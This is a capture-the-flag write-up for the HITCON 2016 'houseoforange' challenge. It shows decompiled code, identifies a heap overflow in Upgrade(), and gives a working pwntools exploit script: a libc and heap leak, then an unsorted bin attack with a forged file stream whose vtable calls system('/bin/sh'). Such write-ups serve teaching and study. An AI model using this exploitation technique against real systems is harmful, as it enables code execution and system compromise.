Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

hitcon 2016 houseoforange writeup

0x00 Program Overall

The program can Build(), Upgrade() and See() the house of orange. In Build(), the program first malloc a chunk of size 0x10 to store two address, one is color and price, and the other is the name. At the end of the Build(), a variable on bss will store the new house address and use it in Upgrade() and See(). We can use Upgrade() and See() to update and see the newest house.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int Build()
{
//...
if ( (unsigned int)COUNT > 3 )
{
puts("Too many house");
exit(1);
}
New_House = malloc(0x10uLL);
printf("Length of name :");
size = InputNum();
if ( size > 0x1000 )
size = 4096;
*((_QWORD *)New_House + 1) = malloc(size);
if ( !*((_QWORD *)New_House + 1) )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
InputString(*((void **)New_House + 1), size);
new_price = calloc(1uLL, 8uLL);
printf("Price of Orange:", 8LL);
*new_price = InputNum();
Show_Color();
printf("Color of Orange:");
Color_Num = InputNum();
//...
if ( Color_Num == 56746 )
new_price[1] = 56746;
else
new_price[1] = Color_Num + 30;
*(_QWORD *)New_House = new_price;
Last_House = New_House;
++COUNT;
return puts("Finish");
}

0x01 Program Vulnerabilities

When the program calls the Upgrade(), it allows user to give it the length of the name which leads to heap overflow:

1
2
3
4
5
6
7
8
9
10
11
12
int Upgrade()
{
//...
printf("Length of name :");
v2 = InputNum();
if ( v2 > 0x1000 )
v2 = 4096;
printf("Name:");
InputString((void *)Last_House[1], v2);
//...
return puts("Finish");
}

So, use unsorted bin attack and house of orange to get the shell.

0x02 Pwn!

First we need to use heap overflow to trigger _int_free() in sysmalloc() to leak the libc address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def pwn():
p = process('./houseoforange')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'

Build(p, 0x80, 'sunichi1', 0x10, 1) # 1
# overflow the top chunk's size
payload = 'B'*0x80 + p64(0) + p64(0x21) + p32(0x1) + p32(0x1f) + 2 * p64(0) + p64(0xf31)
Upgrade(p, 0x100, payload, 0x10, 2) # 2
# trigger free in sysmalloc
Build(p, 0x1000, 'sunichi2', 0x10, 3) # 3
# get the info of libc address
Build(p, 0x400, 'x', 4, 4) # 0x400 = 1024 => large bin / still have some questions
See(p)
p.recvuntil('house : ')
libc_addr = p.recv(6)
libc_addr = u64(libc_addr.ljust(8, '\x00'))
libc.address = libc_addr - 0x3c4b78 - 0x600
libc_base_addr = libc_addr - 0x3c4b78 - 0x600

Second, leak the heap address.

1
2
3
4
5
6
7
# leak the heap address
Upgrade(p, 0x400, '1' * 0x10, 0x10, 5)
See(p)
p.recvuntil('1' * 0x10)
heap_addr = p.recv(6)
# address is the third house content address - 0x10
heap_addr = u64(heap_addr.ljust(8, '\x00'))

The final step is to construct the a chunk to perform unsorted bin attack and house of orange.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# unsorted bin attack and house of orange
payload = ''
payload = payload.ljust(0x400, '\x00') + p64(0) + p64(0x21) + p64(0x2300000010) + p64(0)

vtable = heap_addr + 0x410 + 0x20 + 0xc0 + 0x10 + 0x8 # point to vtable itself
# change top chunk to 0x61 size and forge the stream
fake_stream = '/bin/sh\x00' + p64(0x61) + p64(0) + p64(libc.symbols['_IO_list_all'] - 0x10) # here is heap + 0x410 + 0x20
fake_stream = fake_stream.ljust(0xa0, '\x00')
fake_stream += p64(heap_addr + 0x410 + 0x20 + 0xc0 + 0x10)
fake_stream = fake_stream.ljust(0xc0, '\x00')
fake_stream += p64(1) + 2 * p64(0) # here is heap + 0x410 + 0x20 + 0xc0
fake_stream += p64(vtable)

payload += fake_stream
payload += p64(2)
payload += p64(3)
payload += p64(libc.symbols['system'])

Upgrade(p, len(payload), payload, 0x10, 6)

Call Build() to trigger malloc(0x10) and get shell.

1
2
3
4
p.recvuntil('Your choice : ')
p.sendline('1')
p.interactive()
p.close()

Relevant Article

https://sunichi.github.io/2018/07/02/pwnable-tw-bookwriter/

http://tacxingxing.com/2018/01/10/house-of-orange/

http://tacxingxing.com/2018/02/09/fsp/